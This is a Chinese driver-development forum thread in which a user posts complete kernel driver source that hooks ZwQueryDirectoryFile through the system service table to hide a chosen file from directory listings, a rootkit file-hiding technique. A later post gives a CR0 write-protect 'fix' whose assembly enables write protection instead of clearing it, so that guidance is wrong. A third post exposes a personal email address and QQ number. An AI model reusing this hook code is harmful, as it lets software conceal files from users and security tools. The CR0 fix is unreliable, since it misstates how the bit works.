hoposky
驱动牛犊
驱动牛犊
  • 注册日期2010-03-22
  • 最后登录2010-04-05
  • 粉丝4
  • 关注0
  • 积分3分
  • 威望22点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
阅读:3741回复:2

Win7下Hook ZwQueryDirectoryFile 蓝屏问题

楼主#
更多 发布于:2010-03-23 13:41
下面的代码是我从网上搜索的.已经使用过一段时间.

在windows xp下使用正常.但在win7下就出现了很严重的问题:驱动加载后马上蓝屏. 蓝屏上提示是说向只读区域写入
不知问题是出在哪里....求各位大牛帮忙

#include <wdm.h>

typedef unsigned int UINT;
typedef char * PCHAR;
typedef unsigned long BOOL;
typedef unsigned long DWORD;

#define FileBothDirectoryInformation 3
#define FileIdBothDirectoryInformation 37

      
typedef struct _FILE_BOTH_DIR_INFORMATION {
    ULONG           NextEntryOffset;
    ULONG           FileIndex;
    LARGE_INTEGER   CreationTime;
    LARGE_INTEGER   LastAccessTime;
    LARGE_INTEGER   LastWriteTime;
    LARGE_INTEGER   ChangeTime;
    LARGE_INTEGER   EndOfFile;
    LARGE_INTEGER   AllocationSize;
    ULONG           FileAttributes;
    ULONG           FileNameLength;
    ULONG           EaSize;
    CCHAR           ShortNameLength;
    WCHAR           ShortName[12];
    WCHAR           FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

VOID RtlUpperString(IN OUT PSTRING  DestinationString, IN PSTRING  SourceString);

extern NTSYSAPI NTSTATUS NTAPI
ZwQueryDirectoryFile(IN HANDLE hFile,
                     IN HANDLE hEvent OPTIONAL,
                     IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
                     IN PVOID IoApcContext OPTIONAL,
                     OUT PIO_STATUS_BLOCK pIoStatusBlock,
                     OUT PVOID FileInformationBuffer,
                     IN ULONG FileInformationBufferLength,
                     IN FILE_INFORMATION_CLASS FileInfoClass,
                     IN BOOLEAN bReturnOnlyOneEntry,
                     IN PUNICODE_STRING PathMask OPTIONAL,
                     IN BOOLEAN bRestartQuery);

typedef NTSTATUS (* REALZWQUERYDIRECTORYFILE)(IN HANDLE hFile,
            IN HANDLE hEvent OPTIONAL,
            IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
            IN PVOID IoApcContext OPTIONAL,
            OUT PIO_STATUS_BLOCK pIoStatusBlock,
            OUT PVOID FileInformationBuffer,
            IN ULONG FileInformationBufferLength,
            IN FILE_INFORMATION_CLASS FileInfoClass,
            IN BOOLEAN bReturnOnlyOneEntry,
            IN PUNICODE_STRING PathMask OPTIONAL,
            IN BOOLEAN bRestartQuery);

// 定义一个原函数指针
REALZWQUERYDIRECTORYFILE RealZwQueryDirectoryFile;

// 3. 定义替换 API 函数的原型:
//
NTSTATUS HookZwQueryDirectoryFile(
          IN HANDLE hFile,
          IN HANDLE hEvent OPTIONAL,
          IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
          IN PVOID IoApcContext OPTIONAL,
          OUT PIO_STATUS_BLOCK pIoStatusBlock,
          OUT PVOID FileInformationBuffer,
          IN ULONG FileInformationBufferLength,
          IN FILE_INFORMATION_CLASS FileInfoClass,
          IN BOOLEAN bReturnOnlyOneEntry,
          IN PUNICODE_STRING PathMask OPTIONAL,
          IN BOOLEAN bRestartQuery);

// -=描述 SYSTEMSERVICE 的定义=-

typedef struct ServiceDescriptorEntry {
    unsigned int * ServiceTableBase;        // 关键字段, 指向系统服务分发例程的基地址
    unsigned int * ServiceCounterTableBase;
    unsigned int NumberOfServices;
    unsigned char * ParamTableBase;
} ServiceDescriptorTableEntry_t, * PServiceDescriptorTableEntry_t;

__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]


NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath);
void HideFile_Unload(PDRIVER_OBJECT DriverObject);

NTSTATUS HookZwQueryDirectoryFile(IN HANDLE hFile,
                                  IN HANDLE hEvent OPTIONAL,
                                  IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
                                  IN PVOID IoApcContext OPTIONAL,
                                  OUT PIO_STATUS_BLOCK pIoStatusBlock,
                                  OUT PVOID FileInformationBuffer,
                                  IN ULONG FileInformationBufferLength,
                                  IN FILE_INFORMATION_CLASS FileInfoClass,
                                  IN BOOLEAN bReturnOnlyOneEntry,
                                  IN PUNICODE_STRING PathMask OPTIONAL,
                                  IN BOOLEAN bRestartQuery);

#pragma alloc_text(INIT, DriverEntry)
#pragma alloc_text(PAGE, HideFile_Unload)
#pragma alloc_text (PAGE, HookZwQueryDirectoryFile)



NTSTATUS  DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath)
{
    NTSTATUS    NtStatus = STATUS_SUCCESS;
    UINT        uiIndex = 0;
    PDEVICE_OBJECT  pDeviceObject = NULL;
    UNICODE_STRING  usDriverName, usDosDeviceName;

PAGED_CODE();

    DbgPrint("DriverEntry Called\r\n");

    RtlInitUnicodeString(&usDriverName, L"\\Device\\HideFile");
    RtlInitUnicodeString(&usDosDeviceName, L"\\DosDevices\\HideFile");

    NtStatus = IoCreateDevice(pDriverObject,
        0,
        &usDriverName,
        FILE_DEVICE_UNKNOWN,
        FILE_DEVICE_SECURE_OPEN,
        FALSE,
        &pDeviceObject);
    if (STATUS_SUCCESS == NtStatus) {
        pDriverObject->DriverUnload = HideFile_Unload;
    }

    pDeviceObject->Flags |= DO_DIRECT_IO;
    pDeviceObject->Flags &= (~DO_DEVICE_INITIALIZING);

    IoCreateSymbolicLink(&usDosDeviceName, &usDriverName);
    
    // 4. 在 DriverEntry(驱动入口)函数中加入如下申明:
    // 保存真正的 ZwQueryDirectoryFile 函数地址
    RealZwQueryDirectoryFile = (REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile));
    
    // 把自定义的替换函数指针指向真正的ZwQueryDirectoryFile函数
    (REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile)) = HookZwQueryDirectoryFile;

    return NtStatus;
}

void HideFile_Unload(PDRIVER_OBJECT DriverObject)
{
    UNICODE_STRING usDosDeviceName;

    PAGED_CODE();

    // 5.在DriverUnload(驱动卸载函数)函数中加入恢复代码:
    //恢复原来的函数指针
    (REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile)) = RealZwQueryDirectoryFile;

    DbgPrint("HideFile_Unload Called\r\n");

    RtlInitUnicodeString(&usDosDeviceName, L"\\DosDevices\\HideFile");
    IoDeleteSymbolicLink(&usDosDeviceName);

    IoDeleteDevice(DriverObject->DeviceObject);
}


//   6. 现在准备工作做好了, 函数指针都已经设置转向了, 剩下的是实现这个我们自定义的
//      替换函数 HookZwQueryDirectoryFile, 代码如下:
//
NTSTATUS HookZwQueryDirectoryFile(IN HANDLE hFile,
                                  IN HANDLE hEvent OPTIONAL,
                                  IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
                                  IN PVOID IoApcContext OPTIONAL,
                                  OUT PIO_STATUS_BLOCK pIoStatusBlock,
                                  OUT PVOID FileInformationBuffer,
                                  IN ULONG FileInformationBufferLength,
                                  IN FILE_INFORMATION_CLASS FileInfoClass,
                                  IN BOOLEAN bReturnOnlyOneEntry,
                                  IN PUNICODE_STRING PathMask OPTIONAL,
                                  IN BOOLEAN bRestartQuery)
{
    NTSTATUS rc;
    
    ANSI_STRING ansiHideDirFile;
    
    // 初始化要过滤的文件名这里是 debug.exe
    // 这里字符串是常量, 不用释放
    RtlInitAnsiString(&ansiHideDirFile, "DBGVIEW.EXE");
    
    // 执行真正的 ZwQueryDirectoryFile 函数
    rc = ((REALZWQUERYDIRECTORYFILE)(RealZwQueryDirectoryFile))(
        hFile,
        hEvent,
        IoApcRoutine,
        IoApcContext,
        pIoStatusBlock,
        FileInformationBuffer,
        FileInformationBufferLength,
        FileInfoClass,
        bReturnOnlyOneEntry,
        PathMask,
        bRestartQuery);

    // 如果执行成功, 而且 FILE_INFORMATION_CLASS 的值为 FileBothDirectoryInformation, 我们就进行处理, 过滤
   // if(NT_SUCCESS(rc) && (FileInfoClass == FileBothDirectoryInformation))

   if(NT_SUCCESS(rc))
   {
    if ((FileInfoClass == FileBothDirectoryInformation) || (FileInfoClass == FileIdBothDirectoryInformation))
     {
        UNICODE_STRING uniFileName;

        PFILE_BOTH_DIR_INFORMATION pFileInfo;
        PFILE_BOTH_DIR_INFORMATION pLastFileInfo;
        BOOL bLastOne=FALSE;

        // 把执行结果赋给 pFileInfo
        pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer;
        pLastFileInfo = NULL;

        // 循环检查
        do {
            ANSI_STRING ansiDesFileName, ansiSrcFileName;

            bLastOne = (0 == pFileInfo->NextEntryOffset);

            RtlInitUnicodeString(&uniFileName, pFileInfo->FileName); // uniFileName 不用释放

            RtlUnicodeStringToAnsiString(&ansiDesFileName, &uniFileName, TRUE); // TRUE, 必须释放
            RtlUnicodeStringToAnsiString(&ansiSrcFileName, &uniFileName, TRUE);
            
            RtlUpperString(&ansiDesFileName, &ansiSrcFileName);

            // 打印结果, 用 debugview 可以查看打印结果
            DbgPrint("ansiFileName :%s\n", ansiDesFileName.Buffer);
            DbgPrint("HideDirFile :%s\n", ansiHideDirFile.Buffer);
            
            // 开始进行比较, 如果找到了就隐藏这个文件或者目录
            if( RtlCompareMemory(ansiDesFileName.Buffer, ansiHideDirFile.Buffer, ansiHideDirFile.Length) == ansiHideDirFile.Length)
            {
                DbgPrint("This is HideDirFile!\n");
                if(bLastOne)
                {
                    if(pFileInfo == (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer )
                    {
                        rc = 0x80000006; // 隐藏文件或者目录;
                    }
                    else
                    {
                        pLastFileInfo->NextEntryOffset = 0;
                    }
                    RtlFreeAnsiString(&ansiSrcFileName); //===========================
                    RtlFreeAnsiString(&ansiDesFileName); //===========================
                    break;
                }
                else //指针往后移动
                {
                    int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformationBuffer;
                    int iLeft = (DWORD)FileInformationBufferLength - iPos - pFileInfo->NextEntryOffset;
                    RtlCopyMemory( (PVOID)pFileInfo,
                        (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ),
                        (DWORD)iLeft );
                    
                    RtlFreeAnsiString(&ansiSrcFileName); //===========================  
                    RtlFreeAnsiString(&ansiDesFileName); //===========================
                    continue;
                }
            }
            pLastFileInfo = pFileInfo;
            pFileInfo = (PFILE_BOTH_DIR_INFORMATION)
                ((char *)pFileInfo + pFileInfo->NextEntryOffset);
            
            RtlFreeAnsiString(&ansiSrcFileName); //===========================  
            RtlFreeAnsiString(&ansiDesFileName); //===========================

        } while ( FALSE == bLastOne );
    }
   }
    return(rc);
}
hoposky
驱动牛犊
驱动牛犊
  • 注册日期2010-03-22
  • 最后登录2010-04-05
  • 粉丝4
  • 关注0
  • 积分3分
  • 威望22点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
沙发#
发布于:2010-03-24 08:17
该问题我已经解决.
1.vista或win7返回的结构不再是FileBothDirectoryInformation.而是FileidBothDirectoryInformation
2.蓝屏的原因是驱动向一个只读的位置写入了数据.所以要先把WP bit置为可写后,即可完成api hook了.


在driveentry函数的末尾加入以下代码
    _asm
    {
        MOV    EAX, CR0        //move CR0 register into EAX
        OR    EAX, 10000H        //enable WP bit    
        MOV    CR0, EAX        //write register back        
        STI                    //enable interrupt
    }

在unload的末尾加入以下代码,恢复标志
    _asm
    {
        MOV    EAX, CR0        //move CR0 register into EAX
        OR    EAX, 10000H        //enable WP bit    
        MOV    CR0, EAX        //write register back        
        STI                    //enable interrupt
    }

以上就是我的解决办法.
yaqiang657
驱动牛犊
驱动牛犊
  • 注册日期2010-05-20
  • 最后登录2010-05-31
  • 粉丝1
  • 关注0
  • 积分1分
  • 威望10点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
板凳#
发布于:2010-05-28 18:04
我也碰到这个问题了。但是照着方法做了还是不行。楼主能否帮帮忙呀?
我的邮箱:yaqiang657@163.com
qq:254055917

Thanks!
游客

返回顶部